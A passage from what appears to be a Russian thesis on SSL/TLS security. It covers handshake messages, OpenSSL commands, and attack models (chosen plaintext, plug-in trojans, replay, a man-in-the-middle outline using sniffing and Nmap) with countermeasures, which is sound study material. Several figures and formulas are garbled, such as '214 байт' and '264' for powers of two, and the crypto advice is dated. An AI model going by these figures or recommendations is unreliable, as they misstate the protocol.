- NO-CERTIFICATE-ERROR. Когда послано сообщение REQUEST-CERTIFICATE, эта ошибка может быть прислана, если клиент не имеет сертификата. Эта ошибка устранима;
- BAD-CERTIFICATE-ERROR. Такой отклик присылается, когда сертификат по какой-то причине считается принимающей стороной плохим. Плохой означает, что, либо некорректна подпись сертификата, либо некорректно его значение (например, имя в сертификате не соответствует ожидаемому). Эта ошибка устранима (только для аутентификации клиента);
- UNSUPPORTED-CERTIFICATE-TYPE-ERROR. Этот отклик присылается, когда клиент/сервер получает тип сертификата, который он не поддерживает. Эта ошибка устранима (только для аутентификации клиента).
1.6.1.4 Протокольные сообщения клиента
Существует несколько сообщений, которые могут быть сформированы только клиентом. Эти сообщения ни при каких обстоятельствах не могут быть посланы сервером. Клиент, получив такое сообщение, закрывает соединение с сервером и присылает приложению уведомление об ошибке.
Различают следующие протокольные сообщения клиента:
- CLIENT-HELLO (посылается открыто);
- CLIENT-MASTER-KEY (посылается открыто);
- CLIENT-CERTIFICATE (посылается шифрованным);
- CLIENT-FINISHED (посылается шифрованным).
1.6.1.5 Протокольные сообщения сервера
Существует несколько сообщений, которые генерируются только серверами. Различают следующие протокольные сообщения сервера:
- SERVER-HELLO (посылается открыто);
- SERVER-VERIFY (посылается шифрованным);
- SERVER-FINISHED (посылается шифрованным);
- REQUEST-CERTIFICATE (посылается шифрованным).
1.6.1.6 Принцип предоставление прав клиенту
После подтверждения подлинности сертификата сервер должен решить, какой контекст безопасности, и соответственно, какие права доступа предоставить данному клиенту. В Windows NT права доступа определяются членством клиента в определенных группах и его правами. Для получения этой информации сертификату клиента ставится в соответствие стандартная учетная запись пользователя. Это соответствие устанавливает администратор Интернет-сервера путем создания базы данных авторизации, которая в зависимости от требований конкретного предприятия может оказаться сравнительно простой или довольно сложной.
1.7 Работа с протоколом SSL средствами OpenSSL
OpenSSL - это система защиты и сертификации данных, название SSL переводится как система безопасных сокетов. OpenSSL используется практически всеми сетевыми серверами для защиты передаваемой информации. Существует API SSL, позволяющий создавать безопасные сокеты с шифрованием передаваемых данных.
OpenSSL можно вызвать через командную строку. Внутри OpenSSL существуют отдельные компоненты, отвечающие за то или иное действие. Для получения списка доступных компонентов можно вызвать openssl с параметрами list-standart commands. Можно также получить список доступных алгоритмов хэширования (list-message-digest-commands) и алгоритмов шифрования (list-ciphercommands). Итак, с помощью команд OpenSSL можно делать следующее:
- создавать и управлять ключами RSA и DSA - команды rsa, dsa, dsaparam;
- создавать сертификаты формата x509, запросы на сертификацию, восстановление - команды x509, req, verify, ca, crl, pks12, pks7;
- зашифровывать данные с помощью симметрического или асимметрического шифрования - команды enc, rsautl;
- высчитывать хэши различных типов - команда dgst;
- проверять работы серверов и клиентов ssl - команды s_client, s_server.
Существует также несколько вспомогательных утилит ssl:
- openssl speed [список_алгоритмов_хэширования_или шифрования]
в таблицах 1.1 и 1.2 показан результат работы тестов скорости на домашнем компьютере (Celeron 433), на других компьютерах значения будут другими:
Таблица 1.1 - Результаты тестов скорости алгоритмов
Таблица 1.2 - Показатель скорости алгоритмов асимметричного шифрования
- openssl ciphers [-ssl2] [-ssl3] [-tls1] NAME: вывод доступных алгоритмов для обеспечения уровня безопасности NAME, где NAME - это символическое название группы алгоритмов. Обычно используются значения:
- LOW - алгоритмы низкого уровня безопасности (меньше 128 бит);
- MEDIUM - алгоритмы среднего уровня стойкости (128 бит);
- HIGH - алгоритмы высокой стойкости (больше 128 бит);
- ALL - все алгоритмы;
- NULL - алгоритмы без шифрования.
Для создания rsa ключей используется команда genrsa: openssl genrsa [-out file] [-des | - des3 | -idea] [-rand file] [bits] .
Для управления ключами dsa используется программа openssl dsa, которая абсолютно аналогична (в параметрах) утилите openssl rsa. Приведем пример генерации публичного ключа DSA:
# openssl dsa -in /etc/openssl/ dsakey.pem -out /etc/openssl/pubdsakey.pem -pubout.
Теперь рассмотрим компоненты openssl, выполняющих шифрование и хэширование данных. Для выполнения симметрического шифрования используется утилита openssl enc -cipher или её сокращённая запись openssl cipher, где cipher - это одно из символических имён симметрических шифров. Наиболее популярными являются:
- base-64 (преобразование в текстовый вид);
- bf (blowfish - 128 бит);
- des (56 бит);
- des3 (168 бит);
- rc4 (128 бит);
- rc5 (128 бит);
- rc2 и idea (128 бит).
Им соответствуют следующие команды:
# openssl des3 -in file -out file.des3
# openssl bf -a -in file -out file.bf64
# openssl bf -a -d -in file.bf64 -out file
Для вычисления хэшей используется команда openssl dgst -hashalg или краткая форма openssl hashalg. Обычное использование данной команды таково openssl hashalg [-c] file[s].
# openssl md5 -c file MD5(file)= 1:fd:20:ff:db:06:d5:2d:c3:55:b5:7d:3f:37:ac:94
# openssl sha1 file SHA1(file) = 13f2b3abd8a7add2f3025d89593a0327a8eb83af
Среди алгоритмов хэширования могут применяться следующие:
- md2 (128 бит);
- md4 (128 бит);
- md5 (128 бит);
- mdc2 (128 бит);
- sha (160 бит);
- sha1 (160 бит);
- ripemd160 (160 бит).
Таким же образом можно конвертировать и ключи асимметрического шифрования (используя утилиты rsa или dsa).
Для создания сертификата используется инструмент openssl req:
# openssl req -new -newkey rsa:2048 -keyout rsa_key.pem -config cfg -out certreq.pem
Создание запроса на сертификацию (-new) на основе создаваемого секретного ключа rsa (-newkey rsa:2048), который записывается в файл -keyout (и шифруется тройным DES). Запрос на сертификацию создаётся на основе конфигурационного файла - config:
# openssl req -x509 -new -key private_key.pem -config cfg -out selfcert.pem -days 365.
Создание (-new) self-signed сертификата (-x509) для использования в качестве сертификата сервера или сертификата CA. Сертификат создаётся с использованием секретного ключа -key и конфигурационного файла -config. Создаваемый сертификат будет действителен в течение 365 дней (-days), опция -days не применима к запросам на сертификацию.
Для управления сертификатами x509 используется утилита openssl x509. С её помощью можно подписать сертификат или запрос на сертификацию сертификатом CA:
# openssl x509 -in cert.pem -noout -text
В openssl существует компонент управления smime сообщениями, называющийся openssl smime. Данная утилита позволяет зашифровывать, расшифровывать, управлять ЭЦП и MIME-заголовками писем:
# openssl smime -sign -in mail.txt -text -from Сергиенко@smtp.ru -to user@mail.ru -subject 'Signed message' -signer mycert.pem -inkey private_key.pem | sendmail user@mail.ru
Подписывает сообщение -in (в текстовом виде) и подписывает (-sign) его с помощью сертификата (-signer) и секретного ключа (-inkey). Вывод идёт непосредственно к sendmail, для этого определены MIME-заголовки from, to и subject.
1.8 Совместимость протоколов TLS и SSL
По историческим причинам и для того чтобы избежать использования резервных номеров портов, прикладные протоколы, безопасность которых обеспечивается с помощью TLS 1.0, SSL 3.0, и SSL 2.0 часто используют один и тот же порт. Например: протокол HTTPS (HTTP с обеспечением безопасности за счет SSL или TLS) использует порт 443 вне зависимости от того, какой протокол безопасности применен. Таким образом, должен быть определен некоторый механизм согласования применения тех или иных протоколов.
Протокол TLS базируются на спецификации протокола SSL 3.0, опубликованного Netscape [7]. Различие между этим протоколом и SSL 3.0 не значительны, но они вполне достаточны, чтобы сделать TLS 1.0 и SSL 3.0 не совместимыми (хотя TLS 1.0 имеет механизм, с помощью которого приложения могут поддерживать SSL 3.0).
Клиенты TLS, которые желают согласовать применение SSL 3.0, должны посылать серверу сообщения client hello, используя формат записей SSL 3.0 и посылая {3, 1} в поле версии, если TLS 1.0. Если сервер поддерживает только SSL 3.0, он откликнется server hello SSL 3.0. Если же он поддерживает TLS, то пришлет отклик TLS server hello. Дальнейшее согласование будет продолжено согласно с выбранным протоколом.
Аналогично, TLS-сервер, который хочет работать с клиентами SSL 3.0, должен воспринимать сообщения SSL 3.0 client hello и реагировать на server hello, если получено SSL 3.0 client hello с полем версии равным {3, 0}, означающим, что клиент не поддерживает TLS.
Всякий раз, когда клиент уже знает верхний протокол, известный серверу (например, когда возобновляется сессия), он должен инициировать соединение в рамках этого протокола.
Клиенты TLS 1.0, которые поддерживают работу с серверами SSL версии 2.0, должны посылать сообщения client hello SSL версии 2.0 [SSL2]. Серверы TLS должны воспринимать любой формат client hello, если они хотят поддерживать работу с клиентами SSL 2.0, на том же порту соединения. Единственное отклонение спецификации от версии 2.0 является возможность специфицировать версию со значением три и поддерживать больше шифровых типов в CipherSpec.
Возможность посылать сообщения client hello версии 2.0 следует исключить из употребления так быстро, как это возможно. Разработчики должны предпринять все меры, чтобы ускорить эти работы. Версия 3.0 предоставляет лучшие механизмы для введения новых версий.
1.9 Выводы по разделу
В данном разделе был проведен анализ средств обеспечения защищенности Web-транзакций от наиболее распространенных угроз. Было определено, что протокол - это порядок действий, предпринимаемых двумя или более сторонами, предназначенный для решения определенной задачи. В зависимости от назначения, были приведены разновидности протоколов (криптографический протокол, протокол с посредником, арбитражный протокол, самодостаточный протокол). Были рассмотрены характеристики протоколов, исходя из которых, было определено, что самым надежным протоколом является самодостаточный протокол. Но, к несчастью, не существует самодостаточных протоколов для каждой ситуации. Поэтому основная работа лежит на специалисте, осуществляющем защиту информации.
Были рассмотрены существующие угрозы для протоколов. Целями данных угроз являются: криптографические алгоритмы и криптографические методы, которые применяются для реализации протоколов. Злоумышленник может осуществить пассивное вскрытие или активное вскрытие. Проанализировав оба вскрытия, можно сделать вывод, что активное вскрытие является наиболее опасным.
Также были приведены существующие угрозы вскрытия:
- с использованием только шифротекста;
- с использованием открытого текста;
- с использованием выбранного открытого текста;
- адаптивное вскрытие с использованием открытого текста;
- с использованием выбранного шифротекста;
- с использованием выбранного ключа;
- с использованием цифровой подписи.
Каждая из приведенных угроз является по-своему опасной, и конечный результат у всех этих угроз может быть очень вредоносным.
SSL/TLS - одно из основных средств обеспечения защищенности информации. Поэтому особое внимание уделялось данным протоколам. Отсюда стоит выделить принцип работы данных протоколов, а именно формированию рекордов и совместимости данных протоколов с другими прикладными программами. Также стоит подчеркнуть, что протоколы SSL и TLS являются очень схожими протоколами, поэтому существующие на данный момент атаки могут быть применены к обоим протоколам. Следует выделить принцип формирования сертификатов, т.к на данный момент этот метод защиты протоколов является наиболее эффективным в борьбе с множеством атак. Хорошо владея приведенным в данной дипломной работе материалом и зная как его применить на практике, специалист по защите информации сможет применить ряд мер и, тем самым, обеспечить целостность, доступность, наблюдаемость, подлинность и надежность передаваемых данных.
2. АНАЛИЗ ЗАЩИЩЕННОСТИ ПРОТОКОЛА SSL/TLS
2.1 Модель угроз протокола SSL
2.1.1 Атака открытого текста
SSL имеет уязвимость, при использовании атаки с выбранным открытым текстом, при этом злоумышленник может генерировать сообщения, шифровать их и анализировать криптограммы. На практике данная атака заключается в легком восстановлении информации с низкой энтропией, такой как пароли и PINs, которые прежде кодируются. Данное использование SSL для передачи именно этих данных, представляет серьезную угрозу для будущих версий SSL. При использовании блочного шифра для шифрования, протокол SSL использует блоки шифрования (CBC), которые для кодирования требуют вектор инициализации (IV).
Вектор инициализации (IV) в SSL - это случайная строка, которая генерируется в начальном приветствии (handshake phase), но на выходе IV является криптографическим блоком. На практике IV является уязвимостью SSL, при использовании низкой энтропии строк, таких как пароли и PINs, которые кодируются. Кроме того, открытая среда Web-браузера обеспечивает «точку входа» для данной атаки через разрешенные порты. Выполнение данной атаки будет значительно легче, чем установка «Трояна».
Данная атака основана на том, что к настоящему времени SSL использует слабые варианты шифрования с помощью блочных шифров (CBC). Метод СВС требует блок вектора инициализации (IV) для каждого сообщения, которое закодировано. В стандарте криптографического использования СВС для каждого сообщения выбирается новый произвольный IV. Тем не менее, в SSL только инициализация IV выполняется случайным образом; IV для последующих сообщений является последним блоком зашифрованного текста. В конкретном случаи, злоумышленник может заранее определить IV для дальнейшего использования его при кодировании следующих сообщений. Это приспосабливает атакующего, выполняющего атаку методом «выбранного открытого текста», устанавливать величину конкретного блока открытого текста. Кроме того что это нарушает принцип безопасного шифрования, это также позволяет злоумышленнику полностью определить величину пароля или PIN (эти данные очень ценные), многократно подбирая возможные величины для этой строки, пока не получит правильного значения. Поэтому при использовании SSL пользователь не может быть полностью уверен в безопасности передаваемой информации.
Как уже было сказано, протокол SSL расположен на «транспортном» уровне, следовательно, «сеансовый» уровень и уровень «приложений» находятся над ним. Как таковой, SSL получает с верхних уровней исходные данные, этот открытый текст фрагментирован в блоки данных, длина которых не менее 214 байт. Здесь данные обрабатываются (сжатие) и посылаются в следующем виде:
- тип сообщения(1 байт);
- номер версии (2 байта);
- длина счетчика (2 байта);
- фрагмент открытого текста ();
- код аутентификации сообщения (обычно 20 байт);
- заполнение (0-7 байт);
- длина заполнения (1 байт).
Заметим, что первый блок открытого текста является первым блоком, который нужно кодировать. На практике информация заголовка (номер версии, тип сообщения и т.д.) не кодируются. Таким образом, так же долго, как и злоумышленник будет раскрывать первый блок открытого текста, будет шифроваться блок, следовательно, атака будет иметь место.
Несмотря на длину сообщения открытого текста, есть время когда только небольшая последовательность байтов является критическим значением. Для примера приведем пароль. Ранее было рассмотрено, что злоумышленник должен как-нибудь узнать, какой блок открытого текста будет содержать искомую величину. Заметим, тем не менее, что это легко сделать посредством чтения исходных файлов для страниц, которые использованы в отправлении искомой величины. Для этого просто требуется знание HTTP, HTML, и протоколов CGI, а также возможно Javascript. Обычно доступный browsers имеет исходную команду ”showpage”, которая отображает страничный исходный код HTML. Оба «элемента формы», которые компилируют данные пользователя, также могут быть пригодным для нападающего, как и дополнительный код Javascript, проверяющий свой формат. Злоумышленнику остается только прочитать это.
Атака открытого текста производится, когда атакующий имеет соображения о том, какого типа сообщения посылаются в зашифрованном виде. Злоумышленник может формировать базу данных, где ключами являются зашифрованные строки известного текста (или открытого текста). Если база данных создана, с помощью простых просмотровых функций можно идентифицировать ключ сессии, который соответствует определенному зашифрованному блоку данных. Если ключ сессии удалось раскрыть, можно дешифровать весь поток данных. Общедоступные аппаратные средства могут сделать эту работу быстрее и эффективнее. Алгоритм данной атаки приведен на рисунке 2.1.
Из-за самой природы SSL атаки открытого текста возможны. Например, наиболее часто встречающейся строкой, пересылаемой HTTP-клиентом серверу, является 'GET'. SSL пытается противостоять этим атакам, используя большие ключи сессии. Сначала клиент генерирует ключ, который длиннее чем допускается экспортными ограничениями, и посылает часть его открытым текстом серверу (это разрешено экспортными правилами). Открытая часть ключа объединяется с секретной частью, чтобы получить достаточно длинный ключ, например 128 бит, как этого требует RC4.
Рисунок 2.1 - Алгоритм атаки открытого текста.
2.1.1.1 Методы предотвращения атаки на открытый текст
Способ блокирования атак открытого текста заключается в том, чтобы сделать объем необходимого общедоступного оборудования неприемлемо большим. Каждый бит, добавляемый к длине ключа сессии, увеличивает размер словаря в два раза. Использование ключа сессии длиной 128 бит делает размер словаря далеко за пределами современных технических возможностей. Даже если может использоваться меньший словарь, он должен быть сначала сформирован с использованием открытых битов ключа. Это достаточно долговременный процесс.
Другой способ, с помощью которого SSL может противостоять данной атаке, заключается в использовании максимально возможных длин ключей (например, в случае не экспортного варианта).
Заметим, что следствием всех этих мер защиты SSL является то, что самым простым и дешевым способом атаки становится лобовая атака ключа. Такого рода атаки требуют большой памяти и много времени и их стоимость достаточно легко оценить. Для 128-битового ключа стоимость его раскрытия можно считать бесконечной. В случае 40-битного секретного ключа цена много меньше, но все равно за пределами возможностей “дикого хакера”.
2.1.2 Использование «закладок» для раскрытия выбранного открытого текста
Данная уязвимость позволяет выполнить атаку открытого текста при взаимодействии слоя SSL и web browser's. Это можно выполнить при помощи «закладок» (plug -ins) злоумышленника. Интерфейс на Netscape и Internet Explorer через «закладки» (plug -ins) нормализован и легко доступен. При этом «закладка» содержит «Троян», который не вызывает никаких подозрений у пользователя при его работе за компьютером. На примере известного «Трояна» SpyWare, мы приходим к выводу, что это вполне осуществимо. Данный «Троян» устанавливается как скрытый plug-in и собирает пользовательскую информацию без срочного подтверждения злоумышленника. Данная атака легче, чем атака, в которой Троян установлен исключительно для слежки за паролем, вводимым на клавиатуре.
Написание plug-in «Трояна» очень просто. При разработке программный код должен быть очень маленького объема, чтобы результат внедрения оставался незаметным для пользователя. Загрузку вредоносного продукта в большинстве случаев осуществляет сам пользователь, при этом, не зная об этом. Можно представить, что при перехвате нажатой клавиши, можно перехватить и сам пароль. Но это не совсем применимо на практике, т.к «Троян» может передавать исключительно системные процессы, либо информацию о нажатой клавише исключительно при фокусировке родительского окна. Таким образом, злоумышленник может не обладать доступом к информации вводимой в окне идентификации пароля. В данной ситуации нужно использовать определенный механизм доступа к данным.
2.1.2.1 Методы борьбы с «закладками»
Для избегания данной атаки используются следующие методы:
- Используется сжатие. При этом на обоих концах связи должно использоваться сжатие, которое иногда помогает защитить SSL.
- Использование случайных IV. Для обеспечения безопасной передачи данных с использованием SSL, при каждом кодировании сообщения нужно менять значение IV. Главной задачей при этом является генерация истинно случайного IV. Например, вместо простого использования (т.е последний блок предыдущего зашифрованного текста) как IV , протокол мог бы использовать , где sk - общий секретный ключ, используемый для шифрования, H - хэш функция.
- Изменение способа шифрования. Другим способом обеспечения безопасности является использование различных способов шифрования (а не только СВС). При этом можно использовать способ «совпадений», который заключается в использовании специального счетчика, значение которого можно вносить в шифротекст. Если значение этого счетчика установить в «0», то IV не устанавливается и не распространяется в течении фазы согласования.
Если придерживаться данных методов, то атаки plug-in не легки в реализации, и осуществить их может хороший «хакер». Специалистами проводится огромная работа по устранению известных уязвимостей. Поэтому реализация атак на SSL с каждым днем усложняется.
Большинство программных средств, предназначенных для защиты от троянских программ, в той или иной степени использует так называемое согласование объектов. При этом в качестве объектов фигурируют файлы и каталоги, а согласование представляет собой способ ответить на вопрос, изменились ли файлы и каталоги с момента последней проверки. В ходе согласования характеристики объектов сравниваются с характеристиками, которыми они обладали раньше. Берется архивная копия системного файла, и ее атрибуты сравниваются с атрибутами этого файла, который в настоящий момент находится на жестком диске. Если атрибуты различаются, и никаких изменений в операционную систему не вносилось, значит в компьютер, скорее всего, проник троянец.
Одним из атрибутов любого файла является отметка о времени его последней модификации. Однако она не может служить надежным индикатором наличия в системе «Трояна». Дело в том, что ей очень легко манипулировать. Аналогично дело обстоит и с размером файла. Злоумышленник, который пытается внедрить троянскую программу, попытается достать исходный текст соответствующей программы, в которую планируется подставить троянца, и внимательно проанализирует его на предмет присутствия в нем избыточных элементов, которые могут быть удалены безо всякого ощутимого ущерба. Тогда вместо найденных избыточных элементов он вставит в программу своего троянца и перекомпилирует ее заново. Если размер полученного файла окажется меньше или больше размера исходного, процедура повторяется. Итак до тех пор, пока не будет получен файл, размер которого в наибольшей степени близок к оригиналу.
Следовательно, в борьбе с «Троянами» положится на отметку о времени последней модификации файла и его размер нельзя, поскольку злоумышленник может их довольно легко подделать. Более надежной в этом отношении является так называемая контрольная сумма файла. Для ее подсчета элементы файла суммируются, и получившееся в результате число объявляется его контрольной суммой. Однако и контрольную сумму в общем случае оказывается не так уж сложно подделать. Поэтому для проверки целостности файловой системы компьютера используется особая разновидность алгоритма вычисления контрольной суммы, называемая односторонним хэшированием.
Функция хэширования называется односторонней, если задача отыскания двух аргументов, для которых ее значения совпадают, является труднорешаемой. Отсюда следует, что функция одностороннего хэширования может быть применена для того, чтобы отслеживать изменения, вносимые в файловую систему компьютера, поскольку попытка злоумышленника изменить какай - либо файл так, чтобы значение, полученное путем одностороннего хэширования этого файла, осталось неизменным, обречена на неудачу.
Одной из наиболее удобных в эксплуатации и эффективных является утилита TripWire [9]. Она позволяет производить однонаправленное хэширование файлов при помощи нескольких алгоритмов, в том числе - MD4, MD5, SHA. В алгоритме хэширования MD4 исходная битовая последовательность дополняется так, чтобы ее длина в битах плюс 64 нацело делилась на 512. Затем к ней приписывается 64-битовое значение ее первоначальной длины. Полученная таким образом новая последовательность обрабатывается блоками по 512 бит с помощью специальной итерационной процедуры. В результате на выходе МD4 получается так называемая “выжимка” исходной последовательности, имеющая длину 128 бит. Алгоритм хэширования MD5 похож на MD4 и по способу дополнения исходной битовой последовательности, и по методу ее обработки, и по размеру получаемой «выжимки» (те же 128 бит). Однако каждый 512 битовый блок подвергается не трем, как в MD4, а четырем циклам преобразований.
Для борьбы с «Троянами» в операционной системе Windows можно воспользоваться программой eSafe Protect компании Aladdin Knowledge System [10]. Функционально eSafe Protect делится на три компонента - антивирус, персональный брандмауэр и модуль защиты компьютерных ресурсов. Антивирус избавляет компьютер от вредоносных программ. Персональный брандмауэр контролирует весь входящий и исходящий трафик по протоколу TCP/IP. Для защиты ресурсов компьютера, на котором установлен программный продукт eSafe Protect, создается специальная изолированная область - так называемая «песочница». Все автоматически загружаемые из Internet Java-аплеты и компоненты ActiveX сначала помещаются в «песочницу», где они находятся под наблюдением eSafe Protect. Если попавшая в «песочницу» программа попытается выполнить какое-либо недозволенное действие, то оно будет немедленно блокировано. В течение заданного интервала времени (от 1 до 30 дней) каждое приложение проходит «карантинную» проверку в «песочнице».
Для защиты операционной системы от имитаторов необходимо, чтобы в ней выполнялось два условия, которые являются необходимыми:
- системный процесс, который при входе пользователя в систему получает от него соответствующее регистрационное имя и пароль, должен иметь свой собственный рабочий стол, недоступный другим процессам;
- переключение на регистрационное окно рабочего стола аутентификации должно происходить абсолютно незаметно для прикладных программ, которые к тому же никак не могут повлиять на это переключение (например, запретить его).
К сожалению, эти два условия ни в одной из ОС, за исключением Windows NT, не соблюдаются. Потому для повышения их защищенности от имитаторов можно порекомендовать воспользоваться административными мерами. Например, обязать каждого пользователя немедленно сообщать системному администратору, когда вход в систему оказывается невозможен с первого раза, несмотря на корректно заданное идентификационное имя и правильно набранный пароль.
Относительно фильтров можно утверждать следующее, если в ОС разрешается переключать клавиатурную раскладку во время ввода пароля, то для этой ОС возможно создание фильтра. Поэтому, чтобы обезопасить ее от фильтров, необходимо обеспечить выполнение следующих трех условий:
1) во время ввода пароля переключение раскладок клавиатуры не разрешается;
2) конфигурировать цепочку программных модулей, участвующих в работе с паролем пользователя, может только системный администратор;
3) доступ к файлам этим модулей имеет исключительно системный администратор.
Соблюдать данные правила в локализованных для Украины версиях ОС принципиально невозможно. Дело в том, что средства создания учетных пользовательских записей на русском языке являются неотъемлемой частью таких систем. Только в англоязычных версиях систем Windows NT и UNIX предусмотрены возможности, позволяющие поддерживать уровень безопасности, при котором соблюдаются все три перечисленные условия.
2.1.3 Атака раскрытия шифров
SSL зависит от нескольких криптографических технологий. Шифрование с открытым ключом RSA используется для пересылки ключей сессии и аутентификации клиента/сервера. В качестве шифра сессии применяются различные криптографические алгоритмы. Если осуществлена успешная атака на эти алгоритмы, SSL не может уже считаться безопасным. Атаки против определенных коммуникационных сессий могут производиться путем записи сессии, и затем, потратив большое количество компьютерного времени, предпринимается попытка подобрать ключ сессии или ключ RSA. В случае успеха открывается возможность прочесть переданную информацию. Этот подход легче, чем попытка вскрытия криптографии всех возможных сообщений. Заметим, что SSL пытается сделать цену таких атак выше, чем выгоды от успешной атаки, таким образом, делая ее пустой тратой времени и денег.
2.1.4 Ошибка в программном продукте
SSL как таковой, теоретически, может обеспечить практически полную защиту любого Интернет соединения. Но, любая вещь в этом мире не существует в пустоте. Это означает, что для успешного функционирования SSL, кроме него самого, необходимы также и чисто программные средства, претворяющие технологию SSL в жизнь. Программы, так или иначе использующие SSL протокол, как ни странно, является порой самым уязвимым местом этой технологии. Именно из-за ошибок в этих программах, возможна почти полная потеря, всех, достигнутых после использования SSL щитов и заслонов [6]. К таким программным инструментам, прежде всего, относятся активно используемые нами Интернет-браузеры.
Одним из самых показательных критериев уровня защиты, является размер используемых ключей. Чем больше этот размер, тем соответственно надежнее защита. Браузеры в основном используют три размера: 40, 56 и 128 бит, соответственно. Причем, 40-а битный вариант ключа недостаточно надежен. Таким образом, предпочтительнее использовать именно 128-ми битные ключи. Применительно к Internet Explorer от Microsoft, это означает загрузку дополнительного пакета (security pack). В настоящее время браузеры всегда снабжаются исключительно 128-ми битной защитой. Для того чтобы установить, какой именно размер ключа используется в вашем браузере, в Netscape Navigator вам достаточно открыть подменю 'Options/Security Preferences', а в Internet Explorer, подменю 'Help/About'.
Но размер ключа, не будет играть решающий роли, если в защите браузера имеется внутренняя брешь. Сообщения об открытии таких брешей, в тех или иных браузерах, появляются с регулярными интервалами. Но все эти и им подобные просчеты, не идут ни в какое сравнение с той угрозой, которую могут представлять для пользователя вовремя не отозванные сертификаты. Дело в том, что браузеры обычно поставляются с неким, вполне определенным набором действительных сертификатов, но автоматического механизма проверки этой годности по истечению некоторого времени - не существует. Таким образом, возможно, что действие, того или иного, используемого вашим браузером сертификата, уже, давно кончилось; мог истечь срок годности, мог быть потерян контроль над личным ключом соответствующим этому сертификату и.т.д. В любом из этих случаев, сертификат автоматически отзывается, и помещается в специальный, так называемый revocation list, или список не годных сертификатов, создаваемый и обновляемый тем или иным сертификационным сообществом (CA). Теперь, если не удалить такой сертификат из вашего браузера, он по прежнему будет числиться как годный, со всеми вытекающими отсюда последствиями.
2.1.5 Организация атаки в Outlook
Швейцарские специалисты по компьютерной безопасности обнаружили новый способ взлома криптографического протокола SSL, который широко используется для защиты данных в Интернете. Помимо прочего, с его помощью часто шифруются конфиденциальные данные при покупках в электронных магазинах, а также во время передачи и приема электронной почты.
Именно реализация SSL при общении компьютера с почтовым сервером и содержит уязвимость. Если почтовый клиент часто (например, каждые пять минут), обращается к серверу за новыми письмами, он отправляет туда одни и те же данные: зашифрованное имя пользователя, пароль и т.д. Хакеру достаточно один раз перехватить эти данные в зашифрованном виде, а затем начать направлять предполагаемые варианты пароля на сервер.
Скорее всего, угадать пароль с первого раза не выйдет, и сервер выдаст сообщение об ошибке, также зашифрованное с помощью SSL. Сравнивая сообщения об ошибках, можно достаточно быстро восстановить пароль [6].
При практической реализации взлома использовали программу Outlook Express, которая обращалась к почтовому серверу по протоколу IMAP каждые пять минут. Кроме взлома почтовых ящиков, описанный метод ни на что не годится. Перехватывать обмен данными между почтовым сервером и клиентом достаточно непросто, так что вряд ли эта уязвимость в SSL будет эксплуатироваться широко. Тем не менее, в некоторых случаях полезно помнить о потенциальной опасности взлома. Схема данной атаки показана на рисунке 2.2.
Рисунок 2.2 - Алгоритм атаки на Outlook Express.
2.1.6 Атака отклика
Атака отклика достаточно проста. Злоумышленник записывает коммуникационную сессию между клиентом и сервером. Позднее, он устанавливает соединение с сервером и воспроизводит записанные сообщения клиента. SSL отбивает эту атаку, с помощью специального кода 'nonce' (идентификатор соединения), который является уникальным.
Теоретически злоумышленник не может предугадать этот код заранее, так как он основывается на наборе случайных событий, неподвластных злоумышленнику и, следовательно, он не может реагировать адекватно на запросы сервера.
Злоумышленник с большими ресурсами может записать большое число сессий между клиентом и сервером и попытаться подобрать “правильную” сессию, основываясь на посланном сервером коде nonce, посылает в сообщении SERVER-HELLO. Однако коды nonce SSL имеют, по крайней мере, длину 128 бит, таким образом, злоумышленник будет вынужден записать примерно 264 кодов nonce, при этом он получит вероятность угадывания лишь 50%. Это число достаточно велико, чтобы сделать такого рода атаки бессмысленными (см. Рисунок 2.3).
Рисунок 2.3 - Алгоритм атаки отклика
2.1.7 Атака «посредника»
Атака «посредника» (man-in-the-middle) предполагает участие в коммуникационной сессии трех субъектов: клиента, сервера и посредника-злоумышленника, находящегося между ними. Такое положение позволяет злоумышленнику перехватывать все сообщения, следующие в обоих направлениях, и при желании подменять их.
«Посредник» ввыдает себя сервером для клиента и клиентом для сервера. Промоделируем данную атаку. Для реализации имеет следующие входные данные:
- клиент, сервер и злоумышленник находятся в одной сети;
- имеются программы-вредители (Snifer, Nmap (Win), WinNuke, Smurf);
- обмен ключами ведется по сети;
Этапы выполнения атаки (рисунок 2.4):
- прослушиваем весь трафик, идущий по сети (пользуемся Sniffer), чтобы перехватить секреты и handshake;
- устанавливаем IP-адреса машин, участвующих в SSL-диалоге;
- определяем тип ОС (пользуемся Nmap);
Дальше можно по-разному продолжить атаку: либо вывести из строя клиентскую машину и выдавать себя за клиента-участника SSL-диалога; либо просто посылать свои SSL-блоки, выдавая их клиентскими. - меняем свой Mac-адрес и IP-адрес(10.168.1.1).
Рисунок 2.4 - Атака «посредника»
Чтобы предотвратить данную атаку нужно использовать серверу сертификаты. Во время диалога об установлении безопасного соединения с сервером необходимо предоставить сертификат, который подписан сертификационным центром. В этом сертификате размещается общедоступный ключ сервера, его имя и имя эмитента сертификата. Клиент верифицирует подпись сертификата, а затем проверяет имя эмитента. Если посредник предоставляет поддельный сертификат, то он не пройдет проверку подписи, так как злоумышленник не может знать секретного ключа сервера. Поскольку злоумышленник не может сгенерировать доверенный сертификат, эта атака легко обнаружима (в браузере будет появляться сообщение об ошибке). Но сертификат не всегда обеспечивает нужную защиту, атака «посредника» на сертификаты описана в Приложении В.
2.1.7.1 Настройка Apache на использование клиентских сертификатов
Помимо SSL Web-сервера существует более защищенный метод аутентификации пользователей: клиентские SSL сертификаты, или «личные» сертификаты для каждого пользователя. Следовательно, использование сертификатов более безопасный метод, чем стандартные парольные решения, потому что злоумышленнику в случае с сертификатом понадобится получить обе части для аутентификации - приватный ключ, согласованный с пользовательским сертификатом и парольную фразу. Более того, в отличие от стандартного пароля, парольная фраза сертификата не передается по сети, а используется только на локальной машине для расшифровки приватного ключа. Применение сертификата даст возможность избежать атаку «человек посередине». Но существуют современное программное обеспечение, которое компрометирует сертификаты (Приложение В).
Осуществить этот метод аутентификации не слишком сложно. Администратору потребуется выполнить всего несколько простых шагов, в отличие от более популярного метода Базовой Аутентификации (Basic Authentication).
Для настройки Apache на поддержку аутентификации клиентов по сертификатам X.509v3, нам понадобиться выполнить четыре шага:
1) задействуем аутентификацию клиентов
Добавим следующие директивы в httpd.conf:
SSLVerifyClient require
SSLVerifyDepth 1;
2) установим сертификат СА в директорию Apache:
install -m 644 -o root -g sys ca.crt /usr/local/apache2/conf/ssl.crt/;
3) присвоим значение директиве SSLCACertificateFile (в httpd.conf), равное пути СА сертификата, который мы только что установили:
SSLCACertificateFile /usr/local/apache2/conf/ssl.crt/ca.crt;
4) теперь перезагрузим Apache:
/usr/local/apache2/bin/apachectl stop
/usr/local/apache2/bin/apachectl startssl.
